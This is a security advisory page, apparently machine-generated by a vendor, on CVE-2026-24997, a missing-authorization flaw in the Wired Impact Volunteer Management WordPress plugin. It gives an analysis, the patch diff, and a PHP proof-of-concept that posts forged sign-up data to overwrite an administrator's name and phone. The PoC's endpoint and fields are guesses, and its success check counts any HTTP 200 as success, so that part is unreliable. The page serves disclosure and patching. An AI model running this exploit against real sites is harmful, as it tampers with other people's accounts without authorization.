Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : March 18, 2026

CVE-2026-24997: Wired Impact Volunteer Management <= 2.8 – Missing Authorization (wired-impact-volunteer-management)

Severity Medium (CVSS 5.3)
CWE 862
Vulnerable Version 2.8
Patched Version 2.8.1
Disclosed January 23, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-24997:
The Wired Impact Volunteer Management plugin for WordPress, versions up to and including 2.8, contains a missing authorization vulnerability. The flaw allows unauthenticated attackers to modify user data via the volunteer sign-up form. This is a medium-severity issue with a CVSS score of 5.3, classified under CWE-862: Missing Authorization.

The root cause is the `create_update_user` method in `/includes/class-volunteer.php`. This method, starting at line 260, processes form submissions to create or update user accounts. In the vulnerable version, when an existing user’s email address was submitted via the form, the plugin would update that user’s data without verifying the requester’s authorization or the target user’s role. The function directly called `wp_update_user` on any existing user ID found via email lookup, regardless of their WordPress role or the submitter’s permissions.

Exploitation occurs via the public volunteer sign-up form endpoint. An attacker can submit a POST request containing the `wivm_email` parameter set to an existing user’s email address, along with other form fields like `wivm_first_name`, `wivm_last_name`, and `wivm_phone`. The plugin’s form handler processes this submission and calls the vulnerable `create_update_user` method. This allows an attacker to overwrite the personal data of any user whose email address they know, including administrators.

The patch introduces a new private method, `should_update_existing_user`, which performs a capability check. This method, defined at line 324, retrieves the user object for the existing user ID and checks if the user has the ‘volunteer’ role. The `create_update_user` method now calls this check at line 295 and only proceeds with `wp_update_user` if the function returns true. The patch also updates the plugin version to 2.8.1 in both the main class and the plugin header.

Successful exploitation allows unauthenticated attackers to modify the first name, last name, and phone number of any WordPress user, including administrators and editors. This constitutes unauthorized data modification. On multisite installations, the vulnerability could also add targeted users to the current site with the ‘volunteer’ role if they were not already members.

Differential between vulnerable and patched code

Code Diff
--- a/wired-impact-volunteer-management/includes/class-volunteer.php
+++ b/wired-impact-volunteer-management/includes/class-volunteer.php
@@ -69,15 +69,15 @@
 	 * @link https://codex.wordpress.org/Function_Reference/get_userdata
 	 */
 	public function set_meta(){
-		$user_data = get_userdata( $this->ID );
+		$user_data  = get_userdata( $this->ID );
 		$this->meta = array(
-			'first_name'				=> $user_data->first_name,
-			'last_name'					=> $user_data->last_name,
-			'email'						=> $user_data->user_email,
-			'phone' 					=> $this->format_phone_number( get_user_option( 'phone', $this->ID ) ),
-			'notes'						=> esc_textarea( get_user_option( 'notes', $this->ID ) ),
-			'num_volunteer_opps' 		=> $this->get_num_volunteer_opps(),
-			'first_volunteer_opp_time'	=> $this->get_first_volunteer_opp_time()
+			'first_name'               => $user_data->first_name,
+			'last_name'                => $user_data->last_name,
+			'email'                    => $user_data->user_email,
+			'phone'                    => $this->format_phone_number( get_user_option( 'phone', $this->ID ) ),
+			'notes'                    => esc_textarea( get_user_option( 'notes', $this->ID ) ),
+			'num_volunteer_opps'       => $this->get_num_volunteer_opps(),
+			'first_volunteer_opp_time' => $this->get_first_volunteer_opp_time()
 		);
 	}

@@ -85,11 +85,11 @@
 	 * Format a phone number that's provided only in integers.
 	 *
 	 * @todo   Remove duplicates of this method that exist in other classes
-	 *
-	 * @param  int $unformmated_number Phone number in only integers
+	 *
+	 * @param  int $unformatted_number Phone number in only integers.
 	 * @return string Phone number formatted to look nice.
 	 */
-	public function format_phone_number( $unformatted_number ){
+	public function format_phone_number( $unformatted_number ) {
 		$formatted_number = '';

 		if( $unformatted_number != '' ){
@@ -106,7 +106,7 @@

 	/**
 	 * Get the number of volunteer opportunities this volunteer has signed up for.
-	 *
+	 *
 	 * @return int Number of volunteer opportunities signed up for
 	 */
 	public function get_num_volunteer_opps(){
@@ -129,7 +129,7 @@
 	 *
 	 * This is used to display the year the person started volunteering within the admin. It's worth
 	 * noting that this isn't the time of the opportunity, but rather when they RSVPed.
-	 *
+	 *
 	 * @return string The date and time of the first volunteer RSVP.
 	 */
 	public function get_first_volunteer_opp_time(){
@@ -150,7 +150,7 @@
 	/**
 	 * Get an array with all of the volunteer opportunities this person has signed up for.
 	 *
-	 * First we pull only the IDs of the posts that have been signed up for with the most recent one they signed
+	 * First we pull only the IDs of the posts that have been signed up for with the most recent one they signed
 	 * up for first. Then we create a new WI_Volunteer_Management_Opportunity object for each and return it.
 	 *
 	 * @todo  Fix order so it pulls them by volunteer opp date, not the date they signed up.
@@ -162,9 +162,8 @@
 		global $wpdb;

 		switch( $type ){
-			//All Volunteer Opportunities
+			// All Volunteer Opportunities.
 			case 'all':
-
 				$query = "
 				         SELECT post_id
 				         FROM " . $wpdb->prefix  . "volunteer_rsvps
@@ -173,13 +172,12 @@
 				        ";

 				$query_values = array( $this->ID, 1 );
-
+
 				break;

-			//One-Time Volunteer Opportunities
-			//For this query we joined the postmeta table on itself in order to use two meta values.
+			// One-Time Volunteer Opportunities.
+			// For this query we joined the postmeta table on itself in order to use two meta values.
 			case 'one-time':
-
 				$query = "
 				         SELECT rsvps.post_id
 				         FROM " . $wpdb->prefix  . "volunteer_rsvps AS rsvps
@@ -195,9 +193,8 @@

 				break;

-			//Flexible Volunteer Opportunities
+			// Flexible Volunteer Opportunities.
 			case 'flexible':
-
 				$query = "
 				         SELECT rsvps.post_id
 				         FROM " . $wpdb->prefix  . "volunteer_rsvps AS rsvps
@@ -213,8 +210,8 @@

 		$volunteer_opps = $wpdb->get_results( $wpdb->prepare( $query, $query_values ) );

-		//Use post id to grab a bunch info on each opportunity and store in the same variable using &.
-		foreach( $volunteer_opps as &$opp ){
+		// Use post id to grab a bunch info on each opportunity and store in the same variable using &.
+		foreach ( $volunteer_opps as &$opp ) {
 			$opp = new WI_Volunteer_Management_Opportunity( $opp->post_id );
 		}

@@ -223,22 +220,22 @@

 	/**
 	 * Remove an RSVP for a user for a specific volunteer opportunity. This is usually done through AJAX.
-	 *
-	 * @param  int $post_id ID of the volunteer opportunity to have its RSVP removed
+	 *
+	 * @param  int $post_id ID of the volunteer opportunity to have its RSVP removed.
 	 * @return int|bool The number of rows updated or false if error
 	 */
 	public function remove_rsvp_user_opp( $post_id ){
 		global $wpdb;

-		$status = $wpdb->update(
-			$wpdb->prefix  . 'volunteer_rsvps',
+		$status = $wpdb->update(
+			$wpdb->prefix  . 'volunteer_rsvps',
 			array( //Data to update
 				'rsvp' => 0
-			),
+			),
 			array( //Where
 				'user_id' => $this->ID,
 			 	'post_id' => $post_id
-			),
+			),
 			array( '%d'	), //Data formats
 			array( '%d', '%d' ) //Where formats
 		);
@@ -252,7 +249,6 @@
 	 * This is not a link to the typical user edit screen. This page includes a lot of information on the
 	 * volunteer including the contact info, notes on them and which volunteer opportunities they signed up for.
 	 *
-	 * @param int $user_id The volunteer's ID.
 	 * @return string The URL needed to view this volunteer's information.
 	 */
 	public function get_admin_url() {
@@ -286,45 +282,84 @@

 			$user_id = wp_insert_user( $userdata );

-		} else { // If the user already exists, update the user based on their email address.
+			// Update phone for new users.
+			update_user_option( $user_id, 'phone', preg_replace( '/[^0-9]/', '', $form_fields['wivm_phone'] ) );
+
+		} else {
+
+			// User already exists: only update their data if they have the volunteer role.
+			// This prevents unauthenticated users from overwriting data for admins or other roles.
+			$user_id       = $existing_user;
+			$should_update = $this->should_update_existing_user( $existing_user );

-			$userdata['ID'] = $existing_user;
+			if ( $should_update ) {

-			$user_id = wp_update_user( $userdata );
+				$userdata['ID'] = $existing_user;
+				wp_update_user( $userdata );
+				update_user_option( $user_id, 'phone', preg_replace( '/[^0-9]/', '', $form_fields['wivm_phone'] ) );
+			}

 			// On multisite we need to add the user to this site if they don't have access.
-			if ( is_multisite() && ! is_user_member_of_blog( $userdata['ID'] ) ) {
+			if ( is_multisite() && ! is_user_member_of_blog( $existing_user ) ) {

-				add_user_to_blog( get_current_blog_id(), $userdata['ID'], 'volunteer' );
-				update_user_option( $userdata['ID'], 'notes', '' );
+				add_user_to_blog( get_current_blog_id(), $existing_user, 'volunteer' );
+				update_user_option( $existing_user, 'notes', '' );
 			}
 		}

-		// Update custom user meta for new and existing volunteers.
-		update_user_option( $user_id, 'phone', preg_replace( '/[^0-9]/', '', $form_fields['wivm_phone'] ) );
-
 		$this->ID = $user_id;

 		do_action( 'wivm_create_update_user', $this->ID, $form_fields );
 	}

 	/**
+	 * Check if an existing user's data should be updated after volunteer form submission.
+	 *
+	 * Only users with the "volunteer" role should have their data updated.
+	 * This protects admin accounts and other user types from having their
+	 * data overwritten by unauthenticated form submissions.
+	 *
+	 * @param int $user_id The ID of the existing user.
+	 * @return bool True if the user's data should be updated, false otherwise.
+	 */
+	private function should_update_existing_user( $user_id ) {
+
+		$user = get_userdata( $user_id );
+
+		if ( ! $user ) {
+
+			return false;
+		}
+
+		// Only allow updates for users with the volunteer role.
+		$should_update = in_array( 'volunteer', (array) $user->roles, true );
+
+		/**
+		 * Filter whether an existing user's data should be updated after volunteer form submission.
+		 *
+		 * @param bool    $should_update Whether the user's data should be updated.
+		 * @param int     $user_id       The ID of the existing user.
+		 * @param WP_User $user          The user object.
+		 */
+		return apply_filters( 'wivm_should_update_existing_volunteer', $should_update, $user_id, $user );
+	}
+
+	/**
 	 * Delete RSVPs for this user.
 	 *
 	 * This is typically done right before the user is deleted from WordPress entirely.
-	 *
+	 *
 	 * @return int|bool Int for number of rows updated of false on error
 	 */
-	public function delete_rsvps(){
+	public function delete_rsvps() {
 		global $wpdb;

 		$delete_info = $wpdb->delete(
-				$wpdb->prefix  . "volunteer_rsvps",
-				array( 'user_id' => $this->ID ),
-				array( '%d' )
+			$wpdb->prefix . 'volunteer_rsvps',
+			array( 'user_id' => $this->ID ),
+			array( '%d' )
 		);

 		return $delete_info;
 	}
-
-} //class WI_Volunteer_Management_Volunteer
 No newline at end of file
+} //class WI_Volunteer_Management_Volunteer
--- a/wired-impact-volunteer-management/includes/class-wi-volunteer-management.php
+++ b/wired-impact-volunteer-management/includes/class-wi-volunteer-management.php
@@ -68,7 +68,7 @@
 	public function __construct() {

 		$this->plugin_name = 'wired-impact-volunteer-management';
-		$this->version     = '2.8';
+		$this->version     = '2.8.1';

 		$this->load_dependencies();
 		$this->set_locale();
--- a/wired-impact-volunteer-management/wivm.php
+++ b/wired-impact-volunteer-management/wivm.php
@@ -16,7 +16,7 @@
  * Plugin Name:       Wired Impact Volunteer Management
  * Plugin URI:        https://wiredimpact.com/wordpress-plugins-for-nonprofits/volunteer-management/
  * Description:       A simple, free way to keep track of your nonprofit’s volunteers and opportunities.
- * Version:           2.8
+ * Version:           2.8.1
  * Requires at least: 6.3
  * Requires PHP:      5.2.4
  * Author:            Wired Impact

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-24997 - Wired Impact Volunteer Management <= 2.8 - Missing Authorization

<?php

$target_url = 'https://example.com/'; // CHANGE THIS to the target WordPress site URL

// The endpoint is the volunteer sign-up form handler.
// The exact path may vary based on site configuration (e.g., a page with the volunteer sign-up shortcode).
// This PoC targets the form submission endpoint.
$endpoint = $target_url . '?wivm_signup=1'; // Common parameter for form processing

// Target an existing user by their known email address (e.g., an administrator).
$victim_email = 'admin@example.com'; // CHANGE THIS

// Malicious data to overwrite the victim's information.
$payload = [
    'wivm_first_name' => 'Hacked',
    'wivm_last_name'  => 'User',
    'wivm_email'      => $victim_email, // Key parameter: triggers update of existing user.
    'wivm_phone'      => '1234567890',
    // Other required form fields may be needed depending on plugin configuration.
    'wivm_opp_id'     => '1', // A valid volunteer opportunity ID may be required.
    'wivm_form_id'    => '1', // A form ID may be required.
];

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $endpoint);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($payload));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); // Disable for testing only.
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false); // Disable for testing only.

// Execute the unauthorized update request.
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

echo "HTTP Response Code: $http_coden";
echo "Response Body:n$responsen";

// Check for success indicators.
if (strpos($response, 'success') !== false || $http_code == 200) {
    echo "[+] Potential successful exploitation. Victim ($victim_email) data may have been modified.n";
} else {
    echo "[-] Exploitation may have failed. Verify endpoint and required parameters.n";
}

?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School